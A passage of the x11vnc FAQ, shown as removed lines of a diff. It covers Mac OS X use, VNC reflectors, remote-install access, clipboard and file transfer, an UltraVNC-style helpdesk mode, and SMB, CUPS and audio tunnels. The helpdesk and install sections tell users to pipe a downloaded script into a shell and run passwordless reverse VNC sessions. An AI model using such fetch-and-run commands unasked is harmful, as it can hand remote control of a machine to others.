- there is support for native Mac OS X Aqua/Quartz displays using the
- -rawfb mechanism described above. The mouse and keyboard input is
- achieved via Mac OS X API's.
-
- So you can use x11vnc as an alternative to OSXvnc (aka Vine Server),
- or Apple Remote Desktop (ARD). Perhaps there is some x11vnc feature
- you'd like to use on Mac OS X, etc. For a number of activities (e.g.
- window drags) it seems to be faster than OSXvnc.
-
- Notes:
-
- X11: x11vnc will also work (as it has for years) with a X11 server
- (XDarwin) running on Mac OS X (people often install this software to
- display remote X11 apps on their Mac OS X system, or use some old
- favorites locally such as xterm.) However in this case x11vnc will
- only work reasonably in single window -id windowid mode (and the
- window may need to have mouse focus.)
-
- If you do not have the DISPLAY env. variable set, x11vnc will assume
- native Aqua/Quartz on Mac OS X, however if DISPLAY is set it will
- assume an X11 connection. Use "-rawfb console" to force the native
- display (or unset DISPLAY.)
-
- Update: Leopard sets DISPLAY by default in all sessions. Since it
- starts with the string "/tmp/" x11vnc will use that to know if it
- should ignore it. Use "-display :0.0" to force it.
-
- Building: If you don't have the X11 build and runtime packages
- installed you will need to build it like this:
- (cd to the e.g. x11vnc-0.9, source directory)
- ./configure --without-x
- make
-
- Win2VNC/x2vnc: One handy use is to use the -nofb mode to redirect
- mouse and keyboard input to a nearby Mac (i.e. one to the side of your
- desk) via x2vnc or Win2VNC. See this FAQ for more info.
-
- Options: Here are the Mac OS X specific x11vnc options:
- -macnodim For the native Mac OS X server, disable dimming.
- -macnosleep For the native Mac OS X server, disable display sleep
-.
- -macnosaver For the native Mac OS X server, disable screensaver.
- -macnowait For the native Mac OS X server, do not wait for the
- user to switch back to his display.
- -macwheel n For the native Mac OS X server, set the mouse wheel
- speed to n (default 5.)
- -macnoswap For the native Mac OS X server, do not swap mouse
- buttons 2 and 3.
- -macnoresize For the native Mac OS X server, do not resize or rese
-t
- the framebuffer even if it is detected that the scree
-n
- resolution or depth has changed.
- -maciconanim n For the native Mac OS X server, set n to the number
- of milliseconds that the window iconify/deiconify
- animation takes. In -ncache mode this value will be
- used to skip the animation if possible. (default 400)
- -macmenu For the native Mac OS X server, in -ncache client-sid
-e
- caching mode, try to cache pull down menus (not perfe
-ct
- because they have animated fades, etc.)
-
- PasteBoard/Clipboard: There is a bug that the Clipboard (called
- PasteBoard on Mac it appears) exchange will not take place unless
- x11vnc was started from inside the Aqua display (e.g. started inside a
- Terminal app window.) Otherwise it cannot connect to the PasteBoard
- server. So Clipboard exchange won't work for our standard "ssh in"
- startup scheme.
-
- Hopefully this deficiency can be removed, but until then for Clipboard
- exchange to work you will need to start x11vnc inside the desktop
- session (i.e. either start it running before you leave, or start up a
- 2nd x11vnc inside from a 1st one started outside, or use the apple
- script below)
-
- Here also is a osascript trick that seems to work (it opens the
- Terminal app and instructs it to start x11vnc):
-
-#!/bin/sh
-#
-# start_x11vnc: start x11vnc in a Terminal window
-# (this will allow Clipboard/Pasteboard exchange to work)
-
-tmp=/tmp/start_x11vnc.$$
-
-cat > $tmp <<END
-
-tell application "Terminal"
- activate
- do script with command "$HOME/x11vnc -rfbauth .vnc/passwd -ssl SAVE"
-end tell
-
-END
-
-osascript $tmp
-rm -f $tmp
-
- where you should customize the x11vnc command line to your needs and
- the full path to the binary. Save it in a file e.g. "start_x11vnc" and
- then after you SSH in just type "./start_x11vnc" (or have ssh run the
- command for you.) Then once you are connected via VNC, iconify the
- Terminal windows (you can't delete them since that will kill x11vnc.)
-
- Update Aug/2010: A user reports the following useful information:
-This is not a problem on Mac OS X 10.6.x (Snow Leopard) when connecting
-via ssh to start x11vnc. And, on Mac OS X 10.5.x (Leopard), the problem
-can be permanently eliminated by doing this:
-
-
-sudo /usr/libexec/PlistBuddy -c 'delete :LimitLoadToSessionType' \
- -c 'add :LimitLoadToSessionType string Background' \
- /System/Library/LaunchAgents/com.apple.pboard.plist
-# ignore any 'Delete: Entry, ":LimitLoadToSessionType", Does Not Exist' message
-
-and then restarting (yes, you must restart not just log off). But
-ONLY do that for Mac OS X 10.5.x and NOT for 10.6.x (which doesn't
-need it anyway).
-
- We recently got access to a MacOSX 10.6.4 (Snow Leopard) macbook and
- have confirmed that the above is correct.
-
-
- Q-120: Can x11vnc be used as a VNC reflector/repeater to improve
- performance for the case of a large number of simultaneous VNC viewers
- (e.g. classroom broadcasting or a large demo)?
-
- Yes, as of Feb/2007 there is the "-reflect host:N" option to connect
- to the VNC server "host:N" (either another x11vnc or any other VNC
- server) and re-export it. VNC viewers then connect to the x11vnc(s)
- running -reflect.
-
- The -reflect option is the same as: "-rawfb vnc:host:N". See the
- -rawfb description under "VNC HOST" for more details.
-
- You can replace "host:N" with "listen" or "listen:port" for reverse
- connections.
-
- One can set up a number of such reflectors/repeaters to spread the
- resource usage around, e.g.:
- C -------<-------|
- C -------<-------|
- C -------<-------|---- R -----|
- C -------<-------| |
- C -------<-------| |
- |
- C -------<-------| |
- C -------<-------| |
- C -------<-------|---- R -----|
- C -------<-------| |
- C -------<-------| |
- |====== S
- C -------<-------| |
- C -------<-------| |
- C -------<-------|---- R -----|
- C -------<-------| |
- C -------<-------| |
- |
- C -------<-------| |
- C -------<-------| |
- C -------<-------|---- R -----|
- C -------<-------|
- C -------<-------|
-
- Where "S" is the original VNC Server, "C" denote VNC viewer clients,
- and "R" denotes an x11vnc running -reflect to "S".
-
- Ideally, a client "C" will be fairly close network-wise to its "R". It
- is fine to run the "R" on the same machine as one of its "C's". A nice
- setup for a large, (e.g. 64-128) viewer classroom broadcast case would
- be to run R's on areas isolated by network switches, e.g. one R per
- switch.
-
- In an extreme case (e.g. 1000 viewers) one might actually need a 2nd
- layer of R's in the tree. If you try something like that let us know!
-
- There are many resource savings in doing something like the above. The
- first obvious one is network bandwidth savings. Another is less CPU
- load on "S" since it handles many fewer simultaneous connections.
- Also, if there are a few clients C on very slow links, their presence
- does not slow down every other client, just the clients on their "R".
- One way a slow client affects things is if there are some large
- framebuffer writes (e.g. jpeg image region) then the repeater may
- block waiting for that large write to finish before going onto the
- next client (however, if the write is small enough, the kernel will
- buffer it and the server can go on to service the next client.)
-
- The x11vnc -reflect implementation uses the libvncclient library in
- the LibVNCServer project to handle the connection to "S". It is not
- currently very efficient since it simply does its normal framebuffer
- polling scheme on the libvncclient framebuffer (which it then
- re-exports via VNC to its clients C.) However, CopyRect and
- CursorShape encodings are preserved in the reflection and that helps.
- Dragging windows with the mouse can be a problem (especially if S is
- not doing wireframing somehow, consider -nodragging if the problem is
- severe) For a really fast reflector/repeater it would have to be
- implemented from scratch with performance in mind. See these other
- projects:
- http://sourceforge.net/projects/vnc-reflector/,
- http://www.tightvnc.com/projector/ (closed source?),
-
-
- Automation via Reverse Connections: Instead of having the R's
- connect directly to S and then the C's connect directly to the R they
- should use, some convenience can be achieved by using reverse
- connections (the x11vnc ""-connect host1,host2,..." option.) Suppose
- all the clients "C" are started up in Listen mode:
- client1> vncviewer -listen
- client2> vncviewer -listen
- client3> vncviewer -listen
- ...
- client64> vncviewer -listen
-
- (e.g. client1> is the cmdline prompt on machine client1 ... etc) and
- all the repeaters R are started like this:
- repeater1> x11vnc -reflect listen -connect client1,client2,...client8
- repeater2> x11vnc -reflect listen -connect client9,client10,...client16
- ...
- repeater8> x11vnc -reflect listen -connect client57,client58,...client64
-
- and finally the main server is started to kick the whole thing into
- motion:
- vncserver> x11vnc -display :0 -connect repeater1,repeater2,...repeater8
-
- (or instruct a non-x11vnc VNC server to reverse connect to the
- repeaters.) For a classroom broadcasting setup one might have the
- first two sets of commands start automatically at bootup or when
- someone logs in, and then start everything up with the S server. One
- may even be able to script the forward connection bootstrap case, let
- us know what you did. A really nice thing would be some sort of
- auto-discovery of your repeater, etc...
-
- Q-121: Can x11vnc be used during a Linux, Solaris, etc. system
- Installation so the Installation can be done remotely?
-
- This can be done, but it doesn't always work because it depends on how
- the OS does its install. We have to "sneak in" somehow. Note that some
- OS's have a remote install (ssh etc.) built in and so you might want
- to use that instead.
-
- Usually the OS install will have to be a network-install in order to
- have networking up during the install. Otherwise, you may have a
- (slim) chance to configure the networking manually (ifconfig(8) and
- route(8).)
-
- To avoid library dependencies problems in the typical minimal (e.g.
- busybox) installation OS it is a good idea to build a statically
- linked x11vnc binary. A way that often works is to do a normal build
- and then paste the final x11vnc link line into a shell script. Then
- change the "gcc" to "gcc -static" and run the shell script. You may
- need to disable features (e.g. "--without-xfixes") if there is not a
- static library for the feature available. You may also need to add
- extra link options (e.g. "-lXrender") to complete library dependencies
- manually.
-
- Let's call the binary x11vnc.static. Place it on a webserver
- somewhere. It may be possible to retrieve it via scp(1) too.
-
- During the install you need to get a shell to retreive x11vnc.static
- and run it.
-
- If the Solaris install is an older X-based one, there will be a menu
- for you to get a terminal window. From that window you might be able
- to retrieve x11vnc.static via wget, scp, or ftp. Remember to do "chmod
- 755 ./x11vnc.static" and then find the -auth file as in this FAQ.
-
- If it is a Linux install that uses an X server (e.g. SuSE and probably
- Fedora), then you can often get a shell by pressing Ctrl-Alt-F2 or
- similar. Then get the x11vnc binary via something like this:
- cd /tmp
- wget http://192.168.0.22/x11vnc.static
- chmod 755 ./x11vnc.static
-
- Find the name of the auth file as in this FAQ. (maybe run "ps wwaux |
- grep auth".) Then run it like this:
- ./x11vnc.static -forever -nopw -display :0 -auth /tmp/wherever/the/authfile
-
- then press Alt-F7 to go back to the X install. You should now be able
- to connect via a vnc viewer and continue the install. Watch out for
- the display being :1, etc.
-
- If there is a firewall blocking incoming connections during the
- install, use the "-connect hostname" option option for a reverse
- connection to the hostname running the VNC viewer in listen mode.
-
- Debian based installs are either console-text or console-framebuffer
- based. These are install (or expert) and installgui (or expertgui)
- boot lines, respectively. For the console-text based installs you
- probably need to add a boot cmd line option like vga=0x314 (which is
- 800x600x16) to get the console-text to use the linux framebuffer
- device properly.
-
- For a Debian console-text based install after the network is
- configured press Ctrl-Alt-F2 to get a shell. Retrieve the binary via
- wget as above and chmod 755 it. Then run it something like this:
- sleep 10; ./x11vnc.static -forever -nopw -rawfb console
-
- then before the sleep is over press Alt-F1 to get back to the install
- virtual console. You should be able to connect via a VNC viewer and
- continue with the install.
-
- For a recent (2009) Debian install we booted with "expert vga=0x301"
- and "expert vga=0x311" to get console text based installs at 640x480x8
- and 640x480x16, respectively (replace "expert" with "install" if you
- like.) Otherwise it was giving a 16 color 640x480x4 (4 bit per pixel)
- display which x11vnc could not handle.
-
- For Debian console-framebuffer GUI based installs (installgui or
- expertgui) we have not be able to enter keystrokes or mouse motions.
- This may be resolved if the install had the Linux kernel module
- uinput, but it doesn't; one can wget uinput.ko and then run insmod on
- it, but the module must match the installation kernel. So, failing
- that, you can only do the GUI view-only, which can be handy to watch a
- long network install from your desk instead of in front of the machine
- being installed. For these, after the network is configured press
- Ctrl-Alt-F2 to get a shell. Retrieve the binary via wget as above and
- chmod 755 it. Then run it something like this:
- sleep 10; ./x11vnc.static -forever -nopw -rawfb console
-
- then before the sleep is over press Alt-F5 to get back to the GUI
- install console. You should be able to connect via a VNC viewer and
- watch the install.
- [Misc: Clipboard, File Transfer/Sharing, Printing, Sound, Beeps,
- Thanks, etc.]
-
- Q-122: Does the Clipboard/Selection get transferred between the
- vncviewer and the X display?
-
- As of Jan/2004 x11vnc supports the "CutText" part of the RFB (aka VNC)
- protocol. When text is selected/copied in the X session that x11vnc is
- polling it will be sent to connected VNC viewers. And when CutText is
- received from a VNC viewer then x11vnc will set the X11 selections
- PRIMARY, CLIPBOARD, and CUTBUFFER0 to it. x11vnc is able to hold the
- PRIMARY and CLIPBOARD selections (Xvnc does not seem to do this.)
-
- The X11 selections can be confusing, especially to those coming from
- Windows or MacOSX where there is just a single 'Clipboard'. The X11
- CLIPBOARD selection is a lot like that of Windows and MacOSX, e.g.
- highlighted text is sent to the clipboard when the user activates
- "Edit -> Copy" or presses "Control+C" (and pasting it via "Edit ->
- Paste" or "Control+V".) The X11 PRIMARY selection has been described
- as 'for power users' or 'an Easter Egg'. As soon as text is
- highlighted it is set to the PRIMARY selection and so it is
- immediately ready for pasting, usually via the Middle Mouse Button or
- "Shift+Insert". See this jwz link for more information.
-
- x11vnc's default behavior is to watch both CLIPBOARD and PRIMARY and
- whenever one of them changes, it sends the new text to connected
- viewers. Note that since the RFB protocol only has a single "CutText"
- then both selections are "merged" to some degree (and this can lead to
- confusing results.) One user was confused why x11vnc was "forgetting"
- his CLIPBOARD selection and the reason was he also changed PRIMARY
- some time after he copied text to the clipboard. Usually an app will
- set PRIMARY as soon as any text is highlighted so it easy to see how
- CLIPBOARD was forgotten. Use the -noprimary described below as a
- workaround. Similarly, by default when x11vnc receives CutText it sets
- both CLIPBOARD and PRIMARY to it (this is probably less confusing, but
- could possibly lead to some failure modes as well.)
-
- You may not like these defaults. Here are ways to change the behavior:
- * If you don't want the Clipboard/Selection exchanged at all use the
- -nosel option.
- * If you want changes in PRIMARY to be ignored use the -noprimary
- option.
- * If you want changes in CLIPBOARD to be ignored use the
- -noclipboard option.
- * If you don't want x11vnc to set PRIMARY to the "CutText" received
- from viewers use the -nosetprimary option.
- * If you don't want x11vnc to set CLIPBOARD to the "CutText"
- received from viewers use the -nosetclipboard option.
-
- You can also fine-tune it a bit with the -seldir dir option and also
- -input.
-
- You may need to watch out for desktop utilities such as KDE's
- "Klipper" that do odd things with the selection, clipboard, and
- cutbuffers.
-
-
- Q-123: Can I use x11vnc to record a Shock Wave Flash (or other format)
- video of my desktop, e.g. to record a tutorial or demo?
-
- Yes, it is possible with a number of tools that record VNC and
- transform it to swf format or others. One such popular tool is
- pyvnc2swf. There are a number of tutorials (broken link?) on how to do
- this. Another option is to use the vnc2mpg that comes in the
- LibVNCServer package.
- An important thing to remember when doing this is that tuning
- parameters should be applied to x11vnc to speed up its polling for
- this sort of application, e.g. "-wait 10 -defer 10".
-
- Q-124: Can I transfer files back and forth with x11vnc?
-
- As of Oct/2005 and May/2006 x11vnc enables, respectively, the TightVNC
- and UltraVNC file transfer implementations that were added to
- libvncserver. This currently works with TightVNC and UltraVNC viewers
- (and Windows viewers only support filetransfer it appears... but they
- do work to some degree under Wine on Linux.)
-
- The SSVNC Unix VNC viewer supports UltraVNC file transfer by use of a
- Java helper program.
-
- TightVNC file transfer is off by default, if you want to enable it use
- the -tightfilexfer option.
-
- UltraVNC file transfer is off by default, to enable it use something
- like "-rfbversion 3.6 -permitfiletransfer"
- options (UltraVNC incorrectly uses the RFB protocol version to
- determine if its features are available, so x11vnc has to pretend to
- be version 3.6.) As of Sep/2006 "-ultrafilexfer" is an alias for these
- two options. Note that running as RFB version 3.6 may confuse other
- VNC Viewers.
-
- Sadly you cannot do both -tightfilexfer and -ultrafilexfer at the same
- time because the latter requires setting the version to 3.6 and
- tightvnc will not do filetransfer when it sees that version number.
-
- Also, because of the way the LibVNCServer TightVNC file transfer is
- implemented, you cannot do Tightvnc file transfer in -unixpw mode.
- However, UltraVNC file transfer does work in -unixpw (but if a client
- tries it do a filetransfer during the login process it will be
- disconnected.)
-
- IMPORTANT: please understand if -ultrafilexfer or -tightfilexfer is
- specified and you run x11vnc as root for, say, inetd or display
- manager (gdm, kdm, ...) access and you do not have it switch users via
- the -users option, then VNC Viewers that connect are able to do
- filetransfer reads and writes as *root*.
-
- The UltraVNC and TightVNC settings can be toggled on and off inside
- the gui or by -R remote control. However for TightVNC the changed
- setting only applies for NEW clients, current clients retain their
- TightVNC file transfer ability. For UltraVNC it works better, however
- if an UltraVNC client has initiated a file transfer dialog it will
- remain in effect until the dialog is closed. If you want to switch
- between UltraVNC and TightVNC file transfer in the gui or by remote
- control you will probably be foiled by the "-rfbversion 3.6" issue.
-
-
- Q-125: Which UltraVNC extensions are supported?
-
- Some of them are supported. To get UltraVNC Viewers to attempt to use
- these extensions you will need to supply this option to x11vnc:
- -rfbversion 3.6
-
- Or use -ultrafilexfer which is an alias for the above option and
- "-permitfiletransfer". UltraVNC evidently treats any other RFB version
- number as non-UltraVNC.
-
- Here are a list of the UltraVNC extensions supported by x11vnc:
- * ServerInput: "Toggle Remote Input and Remote Blank Monitor"
- * FileTransfer: "Open File Transfer..."
- * SingleWindow: "Select Single Window..."
- * TextChat: "Open Chat..."
- * 1/n Server Scaling
-
- The SSVNC Unix VNC viewer supports these UltraVNC extensions.
-
- To disable SingleWindow and ServerInput use -noultraext (the others
- are managed by LibVNCServer.) See this option too: -noserverdpms.
-
- Also, the UltraVNC repeater proxy is supported for use with reverse
- connections: "-connect repeater://host:port+ID:NNNN". Use it for both
- plaintext and SSL connections. This mode can send any string before
- switching to the VNC protocol, and so could be used with other
- proxy/gateway tools. Also, a perl repeater implemention is here:
- ultravnc_repeater.pl
-
-
- Q-126: Can x11vnc emulate UltraVNC's Single Click helpdesk mode for
- Unix? I.e. something very simple for a naive user to initiate a
- reverse vnc connection from their Unix desktop to a helpdesk
- operator's VNC Viewer.
-
- Yes, UltraVNC's Single Click (SC) mode can be emulated fairly well on
- Unix.
-
- We use the term "helpdesk" below, but it could be any sort of remote
- assistance you want to set up, e.g. something for Unix-using friends
- or family to use. This includes Mac OS X.
-
- Assume you create a helpdesk directory "hd" on your website:
- http://www.mysite.com/hd (any website that you can upload files to
- should work, although remember the user will be running the programs
- you place there.)
-
- In that "hd" subdirectory copy an x11vnc binary to be run on the Unix
- user's machine (e.g. Linux, etc) and also create a file named "vnc"
- containing the following:
-#!/bin/sh
-
-webhost="http://www.mysite.com/hd" # Your helpdesk dir URL.
-
-vnchost="ip.someplace.net" # Your host running 'vncviewer -listen'
- # It could also be your IP number. If it is
- # a router/firewall, you will need to
- # configure it to redirect port 5500 to you
-r
- # workstation running 'vncviewer -listen'
-
-dir=/tmp/vnc_helpdesk.$$ # Make a temporary working dir.
-mkdir $dir || exit 1
-cd $dir || exit 1
-
-trap "cd /tmp; rm -rf $dir" 0 2 15 # Cleans up on exit.
-
-wget $webhost/x11vnc # Fetch x11vnc binary. If multi-
-chmod 755 ./x11vnc # platform, use $webhost/`uname`/x11vnc
- # or similar.
-
-./x11vnc -connect_or_exit $vnchost -rfbport 0 -nopw
-
- with the hostnames / IP addresses customized to your case.
-
- On the helpdesk VNC viewer machine (ip.someplace.net in this example)
- you have the helpdesk operator running VNC viewer in listen mode:
- vncviewer -listen
-
- or if on Windows, etc. somehow have the VNC viewer be in "listen"
- mode.
-
- Then, when the naive user needs assistance you instruct him to open up
- a terminal window on his Unix desktop and paste the following into the
- shell:
- wget -qO - http://www.mysite.com/hd/vnc | sh -
-
- and then press Enter. You could have this instruction on a web page or
- in an email you send him, etc. This requires that the wget is
- installed on the user's Unix machine (he might only have curl or lynx,
- see below for more info.)
-
-
- So I guess this is about 3-4 clicks (start a terminal and paste) and
- pressing "Enter" instead of "single click"...
-
- See this page for some variations on this method, e.g. how to add a
- password, SSL Certificates, etc.
-
-
- If you don't have a website (there are many free ones) or don't want
- to use one you will have to email him all of the ingredients (x11vnc
- binary and a launcher script) and tell him how to run it. This could
- be easy or challenging depending on the skill of the naive unix
- user...
-
- A bit of obscurity security could be put in with a -passwd, -rfbauth
- options, etc. (note that x11vnc will require a password even for
- reverse connections.) More info here.
-
-
- Firewalls: If the helpdesk (you) with the vncviewer is behind a
- NAT/Firewall/Router the router will have to be configured to redirect
- a port (i.e. 5500 or maybe different one if you like) to the vncviewer
- machine. If the vncviewer machine also has its own host-level
- firewall, you will have to open up the port there as well.
-
- NAT-2-NAT: There is currently no way to go "NAT-2-NAT", i.e. both User
- and Helpdesk workstations behind NAT'ing Firewall/Routers without
- configuring a router to do a port redirection (i.e. on your side, the
- HelpDesk.) To avoid modifying either firewall/router, one would need
- some public (IP address reachable on the internet) redirection/proxy
- service. Perhaps such a thing exists. http://sc.uvnc.com provides this
- service for their UltraVNC Single Click users.
-
- Update: It may be possible to do "NAT-2-NAT" with a UDP tunnel such as
- http://samy.pl/pwnat/. All that is required is that both NAT firewalls
- allow in UDP packets from an IP address to which a UDP packet has
- recently been sent to. If you try it out let us know how it went.
-
-
- Very Naive Users:
-
- If it is beyond the user how to open a terminal window and paste in a
- command (you have my condolences...) you would have to somehow setup
- his Web browser to download the "vnc" file (or a script containing the
- above wget line) and prompt the user if he wants to run it. This may
- be tricky to set up (which is probably a good thing to not have the
- web browser readily run arbitrary programs downloaded from the
- internet...)
-
- One command-line free way, tested with KDE, is to name the file vnc.sh
- and then instruct the user to right-click on the link and do "Save
- Link As" to his Desktop. It will appear as an icon, probably one that
- looks like a terminal or a command line prompt. He next should
- right-click on the icon and select "Properties" and go to the
- "Permissions" tab. Then in that dialog select the checkbox "Is
- executable". He should then be able to click on the icon to launch it.
- Another option is to right-click on the icon and select "Open With ->
- Other ..." and for the name of the application type in "/bin/sh".
- Unfortunately in both cases the command output is lost and so errors
- cannot be debugged as easily. A similar thing appears to work in GNOME
- if under "Properties -> Permissions" they click on "Execute" checkbox
- for "Owner". Then when they click on the icon, they will get a dialog
- where they can select "Run in Terminal". In general for such cases, if
- it is feasible, it might be easier to ssh to his machine and set
- things up yourself...
-
-
- SSL Encrypted Helpdesk Connections:
-
- As of Apr/2007 x11vnc supports reverse connections in SSL and so we
- can do this. On the Helpdesk side (Viewer) you will need STUNNEL or
- better use the Enhanced TightVNC Viewer (SSVNC) package we provide
- that automates all of the SSL for you.
-
- To do this create a file named "vncs" in the website "hd" directory
- containing the following:
-#!/bin/sh
-
-webhost="http://www.mysite.com/hd" # Your helpdesk dir URL.
-
-vnchost="ip.someplace.net" # Your host running 'vncviewer -listen'
- # It could also be your IP number. If it is
- # a router/firewall, you will need to
- # configure it to redirect port 5500 to you
-r
- # workstation running 'vncviewer -listen'
-
-dir=/tmp/vnc_helpdesk.$$ # Make a temporary working dir.
-mkdir $dir || exit 1
-cd $dir || exit 1
-
-trap "cd /tmp; rm -rf $dir" 0 2 15 # Cleans up on exit.
-
-wget $webhost/x11vnc # Fetch x11vnc binary. If multi-
-chmod 755 ./x11vnc # platform, use $webhost/`uname`/x11vnc
- # or similar.
-
-./x11vnc -connect_or_exit $vnchost -rfbport 0 -nopw -ssl # Note -ssl option.
-
- with the hostnames or IP addresses customized to your case.
-
- The only change from the "vnc" above is the addition of the -ssl
- option to x11vnc. This will create a temporary SSL cert: openssl(1)
- will need to be installed on the user's end. A fixed SSL cert file
- could be used to avoid this (and provide some authentication; more
- info here.)
-
- The naive user will be doing this:
- wget -qO - http://www.mysite.com/hd/vncs | sh -
-
- (or perhaps even use https:// if available.)
-
- But before that, the helpdesk operator needs to have "vncviewer
- -listen" running as before, however he needs an SSL tunnel at his end.
- The easiest way to do this is use Enhanced TightVNC Viewer (SSVNC).
- Start it, and select Options -> 'Reverse VNC Connection (-listen)'.
- Then UN-select 'Verify All Certs' (this can be enabled later if you
- want; you'll need the x11vnc SSL certificate), and click 'Listen'.
-
- If you don't want to use SSVNC for the viewer, but rather set up
- STUNNEL manually instead, make a file "stunnel.cfg" containing:
-foreground = yes
-pid =
-
-[vnc]
-accept = 5500
-connect = localhost:5501
-
- and run:
- stunnel ./stunnel.cfg
-
- and then start the "vncviewer -listen 1" (i.e. 1 to correspond to the
- 5501 port.) Note that this assumes the stunnel install created a
- Server SSL cert+key, usually /etc/stunnel/stunnel.pem (not all distros
- will do this.) Also, that file is by default only readable by root, so
- stunnel needs to be run as root. If your system does not have a key
- installed or you do not want to run stunnel as root (or change the
- permissions on the file), you can use x11vnc to create one for you for
- example:
- x11vnc -sslGenCert server self:mystunnel
-
- answer the prompts with whatever you want; you can take the default
- for all of them if you like. The openssl(1) package must be installed.
- See this link and this one too for more info on SSL certs. This
- creates $HOME/.vnc/certs/server-self:mystunnel.pem, then you would
- change the "stunnel.cfg" to look something like:
-foreground = yes
-pid =
-cert = /home/myusername/.vnc/certs/server-self:mystunnel.pem
-
-[vnc]
-accept = 5500
-connect = localhost:5501
-
- In any event, with stunnel having been setup, the naive user is
- instructed to paste in and run:
- wget -qO - http://www.mysite.com/hd/vncs | sh -
-
- to pick up the vncs script this time.
-
- Of course if a man-in-the-middle can alter what the user downloads
- then all bets are off!.
-
- More SSL variations and info about certificates can be found here.
-
-
- OpenSSL libssl.so.0.9.7 problems:
-
- If you build your own stunnel or x11vnc for deployment, you may want
- to statically link libssl.a and libcrypto.a into it because Linux
- distros are currently a bit of a mess regarding which version of
- libssl is installed.
-
- You will find the details here.
-
-
- Q-127: Can I (temporarily) mount my local (viewer-side) Windows/Samba
- File share on the machine where x11vnc is running?
-
- You will have to use an external network redirection for this.
- Filesystem mounting is not part of the VNC protocol.
-
- We show a simple Samba example here.
-
- First you will need a tunnel to redirect the SMB requests from the
- remote machine to the one you sitting at. We use an ssh tunnel:
- sitting-here> ssh -C -R 1139:localhost:139 far-away.east
-
- Or one could combine this with the VNC tunnel at the same time, e.g.:
- sitting-here> ssh -C -R 1139:localhost:139 -t -L 5900:localhost:5900 far-away
-.east 'x11vnc -localhost -display :0'
-
- Port 139 is the Windows Service port. For Windows systems instead of
- Samba, you may need to use the actual IP address of the Window machine
- instead of "localhost" in the -R option (since the Windows service
- does not listen on localhost by default.)
-
- Note that we use 1139 instead of 139 on the remote side because 139
- would require root permission to listen on (and you may have a samba
- server running on it already.)
-
- The ssh -C is to enable compression, which might speed up the data
- transfers.
-
- Depending on the remote system side configuration, it may or may not
- be possible to mount the SMB share as a non-root user. Try it first as
- a non-root user and if that fails you will have to become root.
-
- We will assume the user name is "fred" and we will try to mount the
- viewer-side Windows SMB share "//haystack/pub" in
- /home/fred/smb-haystack-pub.
- far-away> mkdir -p /home/fred/smb-haystack-pub
- far-away> smbmount //haystack/pub /home/fred/smb-haystack-pub -o username=fre
-d,ip=127.0.0.1,port=1139
-
- (The 2nd command may need to be run as root.) Then run "df" or "ls -l
- /home/fred/smb-haystack-pub" to see if it is mounted properly. Consult
- the smbmount(8) and related documentation (it may require some
- fiddling to get write permissions correct, etc.) To unmount:
- far-away> smbumount /home/fred/smb-haystack-pub
-
- At some point we hope to fold some automation for SMB ssh redir setup
- into the Enhanced TightVNC Viewer (SSVNC) package we provide (as of
- Sep 2006 it is there for testing.)
-
-
- Q-128: Can I redirect CUPS print jobs from the remote desktop where
- x11vnc is running to a printer on my local (viewer-side) machine?
-
- You will have to use an external network redirection for this.
- Printing is not part of the VNC protocol.
-
- We show a simple Unix to Unix CUPS example here. Non-CUPS port
- redirections (e.g. LPD) should also be possible, but may be a bit more
- tricky. If you are viewing on Windows SMB and don't have a local cups
- server it may be trickier still (see below.)
-
- First you will need a tunnel to redirect the print requests from the
- remote machine to the one you sitting at. We use an ssh tunnel:
- sitting-here> ssh -C -R 6631:localhost:631 far-away.east
-
- Or one could combine this with the VNC tunnel at the same time, e.g.:
- sitting-here> ssh -C -R 6631:localhost:631 -t -L 5900:localhost:5900 far-away
-.east 'x11vnc -localhost -display :0'
-
- Port 631 is the default CUPS port. The above assumes you have a Cups
- server running on your viewer machine (localhost:631), if not, use
- something like my-cups-srv:631 (the viewer-side Cups server) in the -R
- instead.
-
- Note that we use 6631 instead of 631 on the remote side because 631
- would require root permission to listen on (and you likely have a cups
- server running on it already.)
-
- Now the tricky part: to get applications to notice your cups
- server/printer on localhost:6631.
-
- If you have administrative privilege (i.e. root password) on the
- x11vnc side where the desktop is running, it should be easy to add the
- printer through some configuration utility (e.g. in KDE: Utilities ->
- Printing -> Printing Manager, and then supply admin password, and then
- Add Printer/Class, and then fill in the inquisitive wizard. Most
- important is the "Remote IPP server" panel where you put in localhost
- for Host and 6631 for Port.) The main setting you want to convey is
- the host is localhost and the port is non-standard (e.g. 6631.) Some
- configuration utilities will take an Internet Printing Protocol (IPP)
- URI, e.g. http://localhost:6631/printers/,
- ipp://localhost:6631/printers/printer-name,
- ipp://localhost:6631/ipp/printer-name, etc. Check your CUPS
- documentation and admin interfaces to find what the syntax is and what
- the "printer name" is.
-
- If you do not have root or print admin privileges, but are running a
- recent (version 1.2 or greater) of the Cups client software, then an
- easy way to temporarily switch Cups servers is to create the directory
- and file: $HOME/.cups/client.conf on the remote side with a line like:
- ServerName localhost:6631
-
- When not using x11vnc for remote access you can comment the above line
- out with a '#' (or rename the client.conf file), to have normal cups
- operation.
-
- Unfortunately, running applications may need to be restarted to notice
- the new printers (libcups does not track changes in client.conf.)
- Depending on circumstances, a running application may actually notice
- the new printers without restarting (e.g. no print dialog has taken
- place yet, or there are no CUPS printers configured on the remote
- side.)
-
- Cups client software that is older (1.1) does not support appending
- the port number, and for newer ones there is a bug preventing it from
- always working (fixed in 1.2.3.) Kludges like these at the command
- line will work:
- far-away> env CUPS_SERVER=localhost IPP_PORT=6631 lpstat -p -d
- far-away> env CUPS_SERVER=localhost IPP_PORT=6631 lpr -P myprinter file.ps
- far-away> env CUPS_SERVER=localhost IPP_PORT=6631 firefox
-
- but are somewhat awkward since you have to retroactively set the env.
- var IPP_PORT. Its value cannot be broadcast to already running apps
- (like the $HOME/.cups/client.conf trick sometimes does.) A common
- workaround for an already running app is to somehow get it to "Print
- To File", e.g. file.ps and then use something like the lpr example
- above. Also, the option "-h host:port" works with CUPS lp(1) and
- lpr(1).
-
- You can also print to Windows shares printers in principle. You may do
- this with the smbspool(8) command, or configure the remote CUPS via
- lpadmin(8), etc, to use a printer URI something like
- smb://machine:port/printer (this may have some name resolution
- problems WRT localhost.) Also, as with SMB mounting, the port redir
- (-R) to the Windows machine must use the actual IP address instead of
- "localhost".
-
- At some point we hope to fold some automation for CUPS ssh redir setup
- into the Enhanced TightVNC Viewer (SSVNC) package we provide (as of
- Sep 2006 it is there for testing.)
-
-
- Q-129: How can I hear the sound (audio) from the remote applications
- on the desktop I am viewing via x11vnc?
-
- You will have to use an external network audio mechanism for this.
- Audio is not part of the VNC protocol.
-
- We show a simple Unix to Unix esd example here (artsd should be
- possible too, we have also verified the esd Windows port works for the
- method described below.)
-
